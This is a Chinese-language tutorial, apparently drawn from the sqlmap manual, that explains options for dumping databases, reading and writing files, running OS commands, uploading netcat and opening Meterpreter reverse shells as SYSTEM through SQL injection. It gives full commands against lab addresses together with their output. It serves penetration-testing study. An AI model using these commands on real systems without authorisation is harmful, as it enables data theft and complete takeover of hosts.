sqlmap命令行参数解析(二)

十三、列举数据库管理系统的模式

参数:–schema和–exclude-sysdbs

用户可用此选项列举数据库管理系统的模式。模式列表包含所有数据库、表、列、触发器和他们各自的类型。
同样地,可使用参数“–exclude-sysdbs”排除系统数据库。

下面是的例子测试对象是Mysql:

部分输出如下:

[...]
Database: mysql
Table: procs_priv
[8 columns]
+--------------+----------------------------------------+
| Column       | Type                                   |
+--------------+----------------------------------------+
| Timestamp    | timestamp                              |
| User         | char(16)                               |
| Db           | char(64)                               |
| Grantor      | char(77)                               |
| Host         | char(60)                               |
| Proc_priv    | set('Execute','Alter Routine','Grant') |
| Routine_name | char(64)                               |
| Routine_type | enum('FUNCTION','PROCEDURE')           |
+--------------+----------------------------------------+
[...]
Database: mysql
Table: ndb_binlog_index
[7 columns]
+-----------+---------------------+
| Column    | Type                |
+-----------+---------------------+
| Position  | bigint(20) unsigned |
| deletes   | bigint(20) unsigned |
| epoch     | bigint(20) unsigned |
| File      | varchar(255)        |
| inserts   | bigint(20) unsigned |
| schemaops | bigint(20) unsigned |
| updates   | bigint(20) unsigned |
+-----------+---------------------+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

15.列举表中数据条数

参数:–count

有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数。如:

  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
  • 1
  • 2

部分输出如下:

  Database: testdb
  +----------------+---------+
  | Table          | Entries |
  +----------------+---------+
  | dbo.users      | 4       |
  | dbo.users_blob | 2       |
  +----------------+---------+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

16.列举表中数据

参数:–dump、-C、-T、-D、–start、–stop和–where

权限允许时可以列举表中数据。用参数“-D”指定数据库,用参数“-T”指定数据表,用参数“-C”指定目标列。
若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。

下例是以Firebird为目标:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
  • 1
  • 2

部分输出如下:

  Database: Firebird_masterdb
  Table: USERS
  [4 entries]
  +----+--------+------------+
  | ID | NAME   | SURNAME    |
  +----+--------+------------+
  | 1 | luther | blisset     |
  | 2 | fluffy | bunny       |
  | 3 | wu     | ming        |
  | 4 | NULL   | nameisnull  |
  +---+--------+-------------+
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

只使用参数“–dump”和“-D”可以一次性列举整个数据库中所有数据。

Sqlmap会自动将参数“–dump”列举的数据保存到CSV格式文件中,文件具体路径会在Sqlmap的输出中给出,如:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump
  • 1
  • 2

部分输出为:

  [11:15:27] [INFO] analyzing table dump for possible password hashes
  Database: DSSchool
  Table: T_SCORESYSTEMTEACHERS
  [2 entries]
  +-----+----------+-------+---------+----------+
  | AGE | NAME     | TITLE | ACCOUNT | PASSWORD |
  +-----+----------+-------+---------+----------+
  | 21  | neo      | ??    | 001     | 001      |
  | 31  | morphine | ??    | 002     | 002      |
  +-----+----------+-------+---------+----------+

  [11:15:27] [INFO] table 'DSSchool.T_SCORESYSTEMTEACHERS' dumped to CSV file '/home/werner/.sqlmap/output/192.168.56.102/dump/DSSchool/T_SCORESYSTEMTEACHERS.csv'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

截取的输出中最后一行便是CSV文件保存的路径。

若只想列举部分数据可以使用参数“–start”和“–stop”。如只想列举第一条数据可以添加“–stop 1”,
只想列举第二和第三条数据可以添加“–start 1 –stop 3”,可见这是一个左开右闭区间。
区间范围仅在盲注中有效,因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。

除了用区间范围限制列举的数据外,还可以用“–where”参数来限制列举的数据。
“–where”参数会被Sqlmap转换成WHERE子句,如“–where id>3”会只列举列id的值大于3的数据。

如你所见,Sqlmap十分灵活。可以囫囵地列举整个数据库,也可以细致地在表中选择列,在列中又选择特定数据。

17.列举所有数据库所有表中所有数据

参数:–dump-all和–exclude-sysdbs

使用参数“–dump-all”可列举所有数据库所有表中所有数据。同样地,可使用参数“–exclude-sysdbs”排除系统数据库。

注意微软SQL Server的master数据库不属于系统数据库,因为有些管理员会在这个数据库中存储用户数据。

18.在数据库、表、列中搜索

参数:–search、-C、-T和-D

可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。

参数“–search”要和下列参数之一配合使用:

  • -C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索
  • -T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
  • -D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索

在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。
默认为包含搜索,即搜索的字符串包含于结果中就认为命中。
精确搜索要求搜索的字符串与结果完全相等。

19.运行自定义的SQL语句

参数:–sql-query和–sql-shell

这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。

如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。
但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。

下例的目标是SQL Server 2000:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
  • 1
  • 2

部分输出如下:

  [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
  [hh:mm:14] [INFO] retrieved: foo
  SELECT 'foo':
  'foo'
  • 1
  • 2
  • 3
  • 4
  python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
  • 1
  • 2

部分输出如下:

  [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
  [hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now
  unpack it into distinct queries to be able to retrieve the output even if we are
  going blind
  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS
  VARCHAR(8000)), (CHAR(32)))
  [hh:mm:50] [INFO] retrieved: foo
  [hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
  [hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
  RCHAR(8000)), (CHAR(32)))
  [hh:mm:50] [INFO] retrieved: bar
  [hh:mm:50] [DEBUG] performed 27 quer
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

如你所见,Sqlmap将提供的SQL语句分成了两个不同的SELECT语句,并分别返回结果。

参数“–sql-shell”提供一个交互式的SQL语句执行环境,支持Tab键补全和命令历史记录。如:

  python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell
  • 1
  • 2

部分输出如下:

  [15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
  sql-shell> select 'foo';
  [15:07:41] [INFO] fetching SQL SELECT statement query output: 'select 'foo''
  select 'foo';:    'foo'
  sql-shell> select password from mysql.user where user='root';
  [15:07:42] [INFO] fetching SQL SELECT statement query output: 'select password from mysql.user where user='root''
  select password from mysql.user where user='root'; [1]:
  [*] *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  sql-shell> show tables;
  [15:11:15] [INFO] fetching SQL SELECT statement query output: 'show tables'
  [15:11:15] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries)
  show tables; [1]:
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

十四、UDF注入

参数:–udf-inject

UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术,详情见《Advanced SQL injection to operating system full control》

可以编译MySQL或PostgreSQL的共享库、DLL(Windows)和共享对象(Linux/Unix)并将这些文件在本机上的路径提供给Sqlmap来进行UDF注入。
Sqlmap会先问一些问题然后上传UDF文件并创建UDF最后根据问题答案执行UDF。完成UDF注入后,Sqlmap会删除上传的UDF文件。

参数:–shared-lib

添加此参数Sqlmap会在运行时询问共享库文件路径。

在Sqlmap安装目录的udf目录中有许多UDF文件,按照DMBS、操作系统、位数和版本归类,可以直接使用。

十五、访问文件系统

1.读取文件

参数:–file-read

当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有读取文件相关权限时读取文件是可行的。
读取的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是SQL Server 2005:

  python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1
  • 1
  • 2

部分输出如下:

[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

然后查看下载的文件:

  $ ls -l output/192.168.136.129/files/C__example.exe
  -rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
  $ file output/192.168.136.129/files/C__example.exe
  output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • 1
  • 2
  • 3
  • 4

2.上传文件

参数:–file-write和–file-dest

当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有写文件相关权限时上传文件是可行的。
上传的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是MySQL,上传了一个二进制的UPX压缩文件:

  $ file /software/nc.exe.packed
  /software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
  $ ls -l /software/nc.exe.packed
  -rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
  $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
  -file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
  [...]
  [hh:mm:29] [INFO] the back-end DBMS is MySQL
  web server operating system: Windows 2003 or 2008
  web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
  back-end DBMS: MySQL >= 5.0.0
  [...]
  do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
  fully written on the back-end DBMS file system? [Y/n] y
  [hh:mm:52] [INFO] retrieved: 31744
  [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
  ytes, same size as the local file '/software/nc.exe.packed'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

十六、操作系统控制

1.执行任意操作系统命令

参数:–os-cmd和–os-shell

若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操作系统命令。

当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会通过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。

当数据库管理系统是微软的SQL Server时,Sqlmap通过存储过程xp_cmdshell来执行任意命令。
若xp_cmdshell被禁用(SQL Server >= 2005时默认禁用)Sqlmap会启用它;
若xp_cmdshell不存在,Sqlmap会创建它。

当用户想要看到命令执行的标准输出时,Sqlmap使用可列举的注入技术(盲注、带内和基于错误的注入),而当用户不想看到命令执行的标准输出时,堆查询注入技术将被用于执行命令。

下例的目标是PostgreSQL:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
  • 1
  • 2

部分输出如下所示:

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can only be deleted manually
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

使用参数“–os-shell”可以模拟一个可以执行任意命令的shell,和“–sql-shell”一样这个shell也可以用Tab键补全,支持历史记录。

当堆查询不被支持(如PHP或ASP+Mysql)且数据库管理系统是MySQL时,仍然可以通过SELECT的从句INTO OUTFILE在Web所在主机的可写目录创建一个Web后门,通过这个Web后门来执行命令。Sqlmap支持这一技术并要求用户提供一些用逗号分割的可能是可写目录的路径。Sqlmap支持以下这些服务器端脚本语言:

  • ASP
  • ASP.NET
  • JSP
  • PHP

2.带外TCP连接:Meterpreter及相关

参数:–os-pwn、–os-smbrelay、–os-bof、–priv-esc、–msf-path和–tmp-path

若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就有可能在攻击者的主机和数据库所在主机之间建立带外TCP连接。根据用户的选择,此连接可以是交互式命令shell,Meterpreter会话或图形用户界面(VNC)会话。

Sqlmap要靠Metasploit生成shellcode,在数据库所在主机执行shellcode有以下四种技术:

  • 数据库通过Sqlmap创建的用户自定义函数sys_bineval()在内存中执行Metasploit的shellcode。支持MySQL和PostgreSQL。参数“–os-pwn”。
  • 通过Sqlmap自己的用户自定义函数(MySQL和PostgreSQL中的sys_exec(),微软SQL Server中的xp_cmdshell())上传并执行Metasploit的“stand-alone payload stager”。参数:“–os-pwn”。
  • 利用远程代码执行漏洞MS08-068。攻击者的机器要用Metasploit的smb_relay监听来自目标机器的连接。要求在Linux/Unix上以root权限运行Sqlmap且目标DBMS在Windows上以管理员权限运行。参数:“–os-smbrelay”。
  • 在微软SQL Server 2000和2005中可通过存储过程sp_replwritetovarbin的堆缓冲区溢出漏洞(MS09-004)在内存中执行Metasploit的shellcode。Sqlmap有自己的数据执行保护绕过技术可以成功利用漏洞,但需要Metasploit生成shellcode以便在成功利用漏洞时执行shellcode。参数:“–os-bof”。

下面是以MySQL为目标的例子:

python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait..

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
=[ svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_bineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 hh:mm:52 +0100 2011
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS            : Windows .NET Server (Build 3790, Service Pack 2).
Computer      : W2K3R2
Architecture  : x86
Meterpreter   : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask    : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask    : 255.255.255.0

meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85

在Windows中Mysql默认以SYSTEM身份运行,但PostgreSQL无论是在Windows还是在Linux中都以低权限的用户postgres运行。SQL Server 2000默认以SYSTEM身份运行,但SQL Server 2005到2008大多数时间以NETWORK SERVICE身份运行,少数时候以LOCAL SERVICE身份运行。

使用参数“–priv-esc”可以执行Metasploit的getsystem命令以尝试提升权限。

十七、Windows注册表操作

满足以下条件就可以对Windows注册表进行操作:

  • 目标数据库管理系统是运行在Windows上的
  • 目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server
  • 支持堆查询
  • 目标数据库管理系统当前用户有足够的权限

1.读Windows注册表键值

参数:–reg-read

2.写Windows注册表键值

参数:–reg-add

3.删除Windows注册表键值

参数:–reg-del

4.辅助

参数:–reg-key、–reg-value、–reg-data和–reg-type

适当使用上列参数就可以在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以问答方式提供数据。

  • –reg-key:指定Windows注册表键值的路径
  • –reg-value:指定Windows注册表键值的键
  • –reg-data:指定Windows注册表键值的值
  • –reg-type:指定Windows注册表键值的值的数据类型

下面是一个例子:

  python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
  • 1
  • 2

十八、通用选项

1.从SQLite文件中载入Sqlmap会话

参数:-s

Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参数。

2.将HTTP(S)流量记录到日志文件中

参数:-t

该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。

3.非交互模式

参数:–batch

使用该参数可以让Sqlmap以非交互模式运行,所有要求的输入都会取默认值。

4.设置字符编码

参数:–charset

为正确解码数据,Sqlmap会使用Web服务器提供的信息(如HTTP头部中字符编码的设置),或是使用第三方库chardet来启发式地确定字符编码。

可以使用参数“–charset”来指定字符编码,如“–charset=GBK”。

5.从目标URL开始爬取目标站点

参数:–crawl

Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用。

下例的目标的MySQL:

  python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
  • 1
  • 2

部分输出如下:

[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

参数:–crawl-exclude

在此参数后跟一个正则表达式可以排除不想爬取的URL。若URL匹配正则,则不被爬取。如用“–crawl-exclude=logout”来排除所有含有字符串“logout”的URL。

6.设置输出CSV文件中的分隔符

参数:–csv-del

当数据被输出到CSV文件(–dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“–csv-del=”;””。

7.数据库管理系统认证凭据

参数:–dbms-cred

在某些情况下由于数据库管理系统当前用户权限较低从而导致动作执行失败,此时可以用此参数提供admin用户认证凭据,Sqlmap就会对执行失败的部分特地使用“run as”机制(如:微软SQL Server的OPENROWSET)以admin用户身份重新执行失败的动作。当然,得知道admin用户认证凭据才行。

8.数据输出格式

参数:–dump-format

Sqlmap对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“–csv-del”指定分隔符)。选择HTML格式,所有数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,所有数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。

9.估计完成时间

参数:–eta

该参数用于显示估计的完成时间。下例是目标为Oracle的布尔型盲注:

  python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
  • 1
  • 2

部分输出如下:

[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========>                                           ] 11/64

Then:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

如你所见,Sqlmap先计算查询输出的长度,然后估计完成时间,最后显示百分比进度条并统计已经接受的数据。

10.刷新会话文件

参数:–flush-session

使用该参数可以刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。使用该参数的前提是真正理解会话文件的概念。另外一个可行的方法是手工删除会话文件。

11.解析和测试表单输入字段

参数:–forms

除了用“-r”和“–data”来测试表单数据是否存在注入点外,还可以使用参数“–forms”来测试表单数据是否存在注入点。

同时使用参数“–forms”和“-u”,Sqlmap会解析目标URL(“-u”指定的那个URL)返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。

12.忽略会话文件中的查询结果

参数:-fresh-queries

使用此参数用于忽略会话文件中的查询结果重新执行查询。

13.对返回结果使用HEX函数

参数:–hex

非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。

下例的目标是PostgreSQL:

  python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
  • 1
  • 2

部分输出如下所示:

[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR
(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: 'pg_query() [<a href='function.pg-query'>function.pg-query</a>]: Query failed: ERROR: invalid input syntax for type numeric: ":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:" in <b>/var/www/sqlmap/libs/pgsql.inc.php</b> on line <b>35</b>'
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

14.指定输出目录路径

参数:–output-dir

Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”。

15.从响应中解析DBMS的错误信息

参数:–parse-errors

若是Web应用被配置成Debug模式则很可能在HTTP响应页面中显示SQL错误信息。这些错误信息对于理解某操作失败的原因是很有用的。例如因为权限不足导致的失败错误信息是类似这样的:“Access denied for user ”。

下例的目标是微软SQL Server:

  python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
  • 1
  • 2

部分输出如下所示:

[xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
<b>/sqlmap/mssql/iis/get_int.asp, line 27</b>'
[xx:xx:17] [INFO] target URL appears to have 3 columns in query
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

16.指定中轴列

参数:–pivot-column

有时(如在微软SQL Server、Sybase和SAP MaxDB中)由于缺乏类似机制不可以直接使用偏移m,n的方式列举数据表记录。在这种情况下,Sqlmap通过确定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其他列值。

如果自动选择失败就需要使用该参数手动指定中轴列,如:“–pivot-column=id”。

17.保存选项到配置文件中

参数:–save

使用该参数可以保存Sqlmap命令行参数到配置文件中,该文件可编辑并且可以使用参数“-c”加载。配置文件是INI格式的。

18.升级Sqlmap

参数:–update

使用此参数可以升级Sqlmap,显然,需要能够连接互联网。万一执行失败,可以在Sqlmap安装目录中执行“git pull”来升级Sqlmap。在Windows中没有git命令可以使用SmartGit之类的git客户端。

实际上“–update”和“git pull”以同样的方式升级Sqlmap,都是从git仓库中获取最新源代码。

强烈建议在报告bug前先升级Sqlmap。

十九、杂项

1.使用简写

参数:-z

有些参数组合是被经常用到的,如“–batch –random-agent –ignore-proxy
–technique=BEU”,这样写一大串很不好看,在Sqlmap中,提供了一种简写的方式来缩短命令长度。

利用参数“-z”,每个参数都可以只写前几个字母,如“–batch”可以简写为“bat”。简写的原则是能够有所区别、对应的参数唯一就行。各个参数用逗号隔开。如:

